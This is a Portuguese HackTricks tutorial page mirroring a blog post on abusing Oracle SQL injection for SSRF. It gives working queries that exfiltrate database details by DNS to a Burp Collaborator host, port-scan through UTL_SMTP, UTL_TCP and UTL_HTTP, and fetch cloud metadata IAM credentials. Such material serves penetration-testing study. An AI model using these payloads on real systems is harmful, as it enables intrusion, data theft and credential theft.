mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 17:44:47 +00:00
155 lines
9.2 KiB
Markdown
155 lines
9.2 KiB
Markdown
# Injeção no Oracle
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
|
|
**Sirva esta postagem como uma cópia da máquina do tempo do post excluído de [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
|
|
|
|
## SSRF
|
|
|
|
Usar o Oracle para fazer solicitações HTTP e DNS fora de banda é bem documentado, mas como um meio de exfiltrar dados SQL em injeções. Sempre podemos modificar essas técnicas/funções para fazer outros SSRF/XSPA.
|
|
|
|
Instalar o Oracle pode ser realmente doloroso, especialmente se você quiser configurar uma instância rapidamente para experimentar comandos. Meu amigo e colega da [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me indicou o [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitiu configurar uma instância em uma máquina AWS Ubuntu t2.large e Docker.
|
|
|
|
Executei o comando docker com a flag `--network="host"` para que eu pudesse imitar o Oracle como uma instalação nativa com acesso total à rede, durante o curso deste post no blog.
|
|
```
|
|
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
|
```
|
|
#### Pacotes Oracle que suportam uma especificação de URL ou Nome do Host/Número da Porta <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
|
|
|
|
Para encontrar quaisquer pacotes e funções que suportem uma especificação de host e porta, executei uma pesquisa no Google na [Documentação Online do Banco de Dados Oracle](https://docs.oracle.com/database/121/index.html). Especificamente,
|
|
```
|
|
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
|
|
```
|
|
A pesquisa retornou os seguintes resultados (nem todos podem ser usados para realizar rede de saída)
|
|
|
|
* DBMS\_NETWORK\_ACL\_ADMIN
|
|
* UTL\_SMTP
|
|
* DBMS\_XDB
|
|
* DBMS\_SCHEDULER
|
|
* DBMS\_XDB\_CONFIG
|
|
* DBMS\_AQ
|
|
* UTL\_MAIL
|
|
* DBMS\_AQELM
|
|
* DBMS\_NETWORK\_ACL\_UTILITY
|
|
* DBMS\_MGD\_ID\_UTL
|
|
* UTL\_TCP
|
|
* DBMS\_MGWADM
|
|
* DBMS\_STREAMS\_ADM
|
|
* UTL\_HTTP
|
|
|
|
Esta pesquisa rudimentar obviamente ignora pacotes como `DBMS_LDAP` (que permite passar um nome de host e número de porta) como [a página de documentação](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplesmente o direciona para uma [localização diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Portanto, pode haver outros pacotes Oracle que podem ser abusados para fazer solicitações de saída que eu possa ter perdido.
|
|
|
|
De qualquer forma, vamos dar uma olhada em alguns dos pacotes que descobrimos e listamos acima.
|
|
|
|
**DBMS\_LDAP.INIT**
|
|
|
|
O pacote `DBMS_LDAP` permite o acesso a dados de servidores LDAP. A função `init()` inicializa uma sessão com um servidor LDAP e recebe um nome de host e número de porta como argumento.
|
|
|
|
Esta função já foi documentada anteriormente para mostrar a exfiltração de dados por DNS, como abaixo
|
|
```
|
|
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
|
|
```
|
|
No entanto, dado que a função aceita um nome de host e um número de porta como argumentos, você pode usar isso para funcionar como um scanner de portas também.
|
|
|
|
Aqui estão alguns exemplos
|
|
```
|
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
|
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
|
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
|
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
|
```
|
|
Um `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indica que a porta está fechada, enquanto um valor de sessão aponta para a porta estar aberta.
|
|
|
|
**UTL\_SMTP**
|
|
|
|
O pacote `UTL_SMTP` é projetado para enviar e-mails via SMTP. O exemplo fornecido no [site de documentação da Oracle mostra como você pode usar este pacote para enviar um e-mail](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Para nós, no entanto, o interessante é a capacidade de fornecer uma especificação de host e porta.
|
|
|
|
Um exemplo simples é mostrado abaixo com a função `UTL_SMTP.OPEN_CONNECTION`, com um tempo limite de 2 segundos.
|
|
```
|
|
DECLARE c utl_smtp.connection;
|
|
BEGIN
|
|
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
|
|
END;
|
|
```
|
|
|
|
```
|
|
DECLARE c utl_smtp.connection;
|
|
BEGIN
|
|
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
|
|
END;
|
|
```
|
|
Um `ORA-29276: tempo de transferência expirado` indica que a porta está aberta, mas nenhuma conexão SMTP foi estabelecida, enquanto um `ORA-29278: erro transitório SMTP: 421 Serviço não disponível` indica que a porta está fechada.
|
|
|
|
**UTL\_TCP**
|
|
|
|
O pacote `UTL_TCP` e seus procedimentos e funções permitem [comunicação baseada em TCP/IP com serviços](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Se programado para um serviço específico, este pacote pode facilmente se tornar uma forma de acessar a rede ou realizar solicitações completas do lado do servidor, pois todos os aspectos de uma conexão TCP/IP podem ser controlados.
|
|
|
|
O exemplo [no site de documentação da Oracle mostra como você pode usar este pacote para fazer uma conexão TCP bruta para buscar uma página da web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Podemos simplificá-lo um pouco mais e usá-lo para fazer solicitações à instância de metadados, por exemplo, ou a um serviço TCP/IP arbitrário.
|
|
```
|
|
set serveroutput on size 30000;
|
|
SET SERVEROUTPUT ON
|
|
DECLARE c utl_tcp.connection;
|
|
retval pls_integer;
|
|
BEGIN
|
|
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
|
|
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
|
|
retval := utl_tcp.write_line(c);
|
|
BEGIN
|
|
LOOP
|
|
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
|
|
END LOOP;
|
|
EXCEPTION
|
|
WHEN utl_tcp.end_of_input THEN
|
|
NULL;
|
|
END;
|
|
utl_tcp.close_connection(c);
|
|
END;
|
|
/
|
|
```
|
|
|
|
```
|
|
DECLARE c utl_tcp.connection;
|
|
retval pls_integer;
|
|
BEGIN
|
|
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
|
|
retval := utl_tcp.write_line(c);
|
|
BEGIN
|
|
LOOP
|
|
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
|
|
END LOOP;
|
|
EXCEPTION
|
|
WHEN utl_tcp.end_of_input THEN
|
|
NULL;
|
|
END;
|
|
utl_tcp.close_connection(c);
|
|
END;
|
|
```
|
|
Interessantemente, devido à capacidade de criar solicitações TCP brutas, este pacote também pode ser usado para consultar o serviço de metadados da Instância de todos os provedores de nuvem, já que o tipo de método e cabeçalhos adicionais podem ser passados dentro da solicitação TCP.
|
|
|
|
**UTL\_HTTP e Solicitações Web**
|
|
|
|
Possivelmente a técnica mais comum e amplamente documentada em todos os tutoriais de Injeção de SQL Oracle Out of Band é o [pacote `UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Este pacote é definido pela documentação como - `O pacote UTL_HTTP faz chamadas de Protocolo de Transferência de Hipertexto (HTTP) do SQL e PL/SQL. Você pode usá-lo para acessar dados na Internet via HTTP.`
|
|
```
|
|
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
|
```
|
|
Você também pode usar isso para realizar uma varredura de portas rudimentar com consultas como:
|
|
```
|
|
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
|
|
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
|
|
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
|
```
|
|
Um `ORA-12541: TNS:no listener` ou um `TNS:operation timed out` é um sinal de que a porta TCP está fechada, enquanto um `ORA-29263: HTTP protocol error` ou dados são um sinal de que a porta está aberta.
|
|
|
|
Outro pacote que já utilizei no passado com sucesso variado é o [método `GETCLOB()` do tipo abstrato Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) que permite interagir com uma URL e oferece suporte para o protocolo HTTP. O método `GETCLOB()` é usado para buscar a resposta GET de uma URL como um [tipo de dado CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|